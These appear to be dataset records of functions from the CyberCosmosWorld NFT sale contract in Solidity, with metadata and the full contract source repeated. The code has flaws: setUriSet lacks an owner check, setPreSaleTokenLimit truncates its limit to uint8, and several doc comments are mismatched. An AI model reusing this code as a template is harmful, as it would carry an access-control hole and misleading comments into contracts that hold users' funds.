require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
publicSaleMint
function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); }
/* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 8210, 8901 ] }
14,177
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
freeMint
function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); }
/* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 9082, 9973 ] }
14,178
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
giveaway
